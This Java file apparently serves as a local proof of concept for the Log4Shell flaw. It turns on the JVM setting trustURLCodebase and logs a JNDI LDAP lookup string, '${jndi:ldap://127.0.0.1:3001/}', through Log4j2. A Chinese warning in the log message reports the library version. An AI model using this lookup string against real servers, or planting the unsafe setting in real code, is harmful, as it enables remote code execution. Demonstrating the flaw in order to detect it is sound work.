import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.Version;

/**
 * @author cat
 */
public class Log4j2 {

    private static final Logger logger = LogManager.getLogger(Log4j2.class);

    public static void main(String[] args) {

        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        String maliciousScript = "${jndi:ldap://127.0.0.1:3001/}";
        logging(maliciousScript);
    }

    private static void logging(String maybeMaliciousScript) {
        String log4jVersion = Version.getProductString();
        logger.error("当前日志打印生效Log4j版本为：{}，这里可能被注入并执行下列恶意脚本：{} 请立即进行排查",log4jVersion, maybeMaliciousScript);
    }


}
